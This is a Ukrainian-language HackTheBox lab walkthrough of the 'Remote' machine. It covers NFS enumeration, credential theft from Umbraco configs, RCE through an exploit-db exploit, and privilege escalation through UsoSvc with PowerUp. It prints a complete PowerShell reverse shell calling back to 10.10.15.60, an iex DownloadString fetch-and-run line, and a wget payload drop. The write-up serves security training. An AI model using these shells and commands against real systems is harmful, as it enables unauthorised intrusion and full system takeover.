1. HackTheBox. Level Easy: Проходження Remote. NFS, RCE в CMS Umbraco та LPE через UsoSvc

5 грудня 2024 1 хвилина Автор: Lady Liberty

Як знайти вразливості в CMS Umbraco та отримати доступ до системи” — це покроковий посібник для спеціалістів з кібербезпеки та ентузіастів пентестингу. У статті описано, як дослідити відкриті порти, аналізувати мережеві сервіси (зокрема NFS), знаходити конфігураційні файли та облікові дані, а також експлуатувати уразливості в CMS Umbraco.

Покрокове проникнення через уразливості в CMS Umbraco

У статті досліджується NFS-ресурс, аналізується експлойт для віддаленого виконання коду (RCE) у CMS Umbraco, а також вивчається вектор підвищення привілеїв (LPE) через UsoSvc із використанням PowerUp.

Підключення до лабораторії здійснюється через VPN. Для забезпечення безпеки не рекомендується використовувати робочі комп’ютери або пристрої, на яких зберігаються важливі дані, оскільки підключення відбувається до приватної мережі, де працюють фахівці з інформаційної безпеки.

Recon

Машині призначено IP-адресу 10.10.10.180, яку додаємо у файл /etc/hosts.

10.10.10.180 	remote.htb

Спочатку виконується сканування відкритих портів. Для прискорення процесу використовується masscan, оскільки сканування всіх портів за допомогою nmap займає більше часу. Скануються всі TCP і UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500

На хості відкрито багато портів. Тепер проскануємо їх за допомогою nmap, щоб відфільтрувати та вибрати потрібні.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21

Порт 111 відповідає за NFS (дозволяє монтувати видалені файлові системи через мережу). Давайте подивимося список ресурсів.

Маємо доступні ресурси, давайте примонтуємо цей ресурс.

У цій директорії виявлено файл Web.config та папку Umbraco. Umbraco — це платформа системи керування контентом із відкритим вихідним кодом.

Таким чином, нам потрібно подивитися всі конфіги, а також дізнатися версію Umbraco. Ось що можна відзначити у Web.Config.

Знаходимо облікові дані для smtp та версію Umbraco: 7.12.4. Кора є вразливою, якщо є облікові дані.

Entry Point

Далі проводиться вивід усіх файлів та каталогів на віддаленому сервері для ідентифікації та аналізу файлів, які можуть бути корисними для подальшого дослідження.

ls -lR ./

Після звуження кола файлів виконується їх перегляд. Для швидкого пошуку ключових даних використовується команда grep, зокрема для виявлення рядків, які містять такі слова, як user, login, pass, vers тощо. У результаті цього аналізу вдалося виявити інформацію про існування двох користувачів.

Після цього ще раз проходимося grep’ом у пошуках рядків admin і ssmith. І знаходимо хеші даних користувачів.

І успішно зламуємо пароль адміністратора.

У базі exploit-db можна знайти готовий експлойт, проте для його коректного використання потрібна незначна модифікація відповідно до конкретних умов цільової системи.

USER

Спочатку в експлойті задаються облікові дані та адреса хоста, які необхідні для його виконання.

На другому етапі модифікується навантаження експлойта, задаючи виконуваний файл та його параметри. У цьому випадку для тестування використовується команда ping.

Як тільки програма відпрацює, у tcpdump ми побачимо пакети ICMP.

Завантажуємо наступний реверс-шелл:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()

Збережемо його в shell.ps1, запустимо на локальній машині http сервер.

sudo python3 -m http.server

Змінимо навантаження.

І виконавши, отримаємо бекконнект:

ROOT

Під час аналізу інформації про користувача виявлено привілей, який може бути використаний для подальшого підвищення прав доступу.

Оскільки використовується Windows Server 2019, метод із застосуванням імперсонатора токенів для підвищення привілеїв (LPE) є недійсним.

Давайте використовуємо PowerUp для пошуку вектора LPE. Завантажимо його з локального хоста та виконаємо повну перевірку.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks

Виявлено дозвіл на використання Update Orchestrator Service — служби, яка відповідає за організацію завантаження, встановлення та перевірки оновлень Windows.

Для подальшої експлуатації створюється другий shell (з попередньою зміною порту в першому), який завантажується на цільову машину для забезпечення доступу.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1

Запускаємо за допомогою UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"

І отримуємо бекконект.

Висновок

У цій статті покроково показано, як знайти слабкі місця в CMS Umbraco і скористатися ними, щоб отримати доступ до системи. Використовуються базові інструменти для сканування мережі, пошуку конфігураційних файлів і отримання важливої інформації, такої як логіни та паролі.

На основі знайдених даних запускається експлойт для віддаленого доступу, а далі застосовується метод підвищення привілеїв через службу оновлень Windows. Завдяки цьому вдалося повністю взяти під контроль цільову машину.

Стаття буде корисною для тих, хто вивчає основи пентестингу або хоче зрозуміти, як використовувати інструменти та експлойти в реальних ситуаціях.

Інші статті по темі
CTF та райтапи
Читати далі
3. HackTheBox. Level Easy: Проходження Nest. NTFS потоки, реверс C# та бродилка по SMB
Читач дізнається, як використовувати сучасні інструменти для сканування мережі (nmap, masscan), досліджувати SMB-ресурси, аналізувати приховані дані в альтернативних потоках NTFS і проводити реверс-інжиніринг C#-додатків.
330
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.